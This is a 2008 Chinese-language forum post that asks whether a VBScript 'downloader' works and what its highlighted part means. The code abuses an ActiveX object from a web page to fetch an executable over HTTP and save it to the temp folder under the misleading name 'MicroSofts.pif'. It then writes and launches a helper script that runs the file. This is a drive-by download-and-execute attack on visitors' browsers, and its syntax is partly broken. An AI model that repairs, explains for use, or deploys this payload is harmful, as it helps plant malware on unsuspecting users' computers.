Board logo

标题: - - vbs downloader 代码 有问题否 ? [打印本页]

作者: ooaf     时间: 2008-3-28 12:18    标题: - - vbs downloader 代码 有问题否 ?

On Error Resume Next
document.createElement("object").SetAttribute "classid", clsid:BD96C556-65A3-11D0-983A-00C04FC29E36
set loveq=document.createElement("object").CreateObject(Microsoft.XMLHTTp,"")
loveq.open get, http://www.ba idu.com/down.exe, false
loveq.Send
Set chilam = document.createElement("object").CreateObject(Scripting.FileSystemObject, "")
Set yingying = chilam.GetSpecialFolder(2)
"MicroSofts.pif"=chilam.BuildPath(chilam.GetSpecialFolder(2), "MicroSofts.pif")
"MicroSofts.vbs"=chilam.BuildPath chilam.GetSpecialFolder(2), "MicroSofts.vbs")

Set chilams = document.createElement("object").createobject(Adodb.stream,"")
chilams.type=1
chilams.Open
chilams.Savetofile "MicroSofts.pif",2
chilams.Write loveq.ResponseBody
chilams.Close
chilams.Type=2
chilams.Open
chilams.Savetofile "MicroSofts.vbs",2
chilams.WriteText  "Set Loveq = CreateObject(""Wscript.Shell"")"&vbCrLf&"Loveq.run ("""&q_784378237&""")"
chilams.Close
Set cute_qq = document.createElement("object").createobject(Shell.Application,"")
cute_qq.ShellExecute  "MicroSofts.vbs","","", open

  红色部分 能否解释一下 ?


-

[ Last edited by ooaf on 2008-3-28 at 12:20 PM ]